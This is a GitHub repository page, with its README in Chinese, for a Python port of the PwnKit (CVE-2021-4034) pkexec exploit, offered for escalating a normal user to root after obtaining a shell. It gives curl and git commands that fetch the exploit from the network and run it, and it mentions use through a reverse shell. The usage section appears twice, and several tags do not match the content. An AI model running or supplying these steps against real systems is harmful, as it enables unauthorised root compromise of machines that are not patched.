ropydev/CVE-2021-4034-PwnKit
GitHub: ropydev/CVE-2021-4034-PwnKit
Python 编写的 CVE-2021-4034(PwnKit)本地特权提升 exploit,用于在受影响的 pkexec 版本上从普通用户提权至 root。
Stars: 0 | Forks: 0
# CVE-2021-4034
这是一个用 **Python** 编写的 exploit,旨在获取 shell 后,将权限从普通用户提升至 **root**
它利用了 **CVE-2021-4034** 漏洞,该漏洞也被称为 **PwnKit**
## 用法:
### Curl
```
curl -fsSL https://raw.githubusercontent.com/ropydev/CVE-2021-4034-PwnKit/main/main.py -o exploit.py
python3 exploit.py
```
### Git
```
git clone https://github.com/ropydev/CVE-2021-4034-PwnKit.git
cd CVE-2021-4034-PwnKit
python main.py
```
这些示例是通过一个配置了 reverse shell 的实验环境完成的,借此我们执行 exploit 并轻松提权至 root
本程序仅仅是一个“翻译”,或者是原始 C 语言程序的 Python 等效版本
```
curl -fsSL https://raw.githubusercontent.com/ropydev/CVE-2021-4034-PwnKit/main/main.py -o exploit.py
python3 exploit.py
```
### Git
```
git clone https://github.com/ropydev/CVE-2021-4034-PwnKit.git
cd CVE-2021-4034-PwnKit
python main.py
```
这些示例是通过一个配置了 reverse shell 的实验环境完成的,借此我们执行 exploit 并轻松提权至 root
本程序仅仅是一个“翻译”,或者是原始 C 语言程序的 Python 等效版本
标签:Python, 协议分析, 无后门, 权限提升, 逆向工具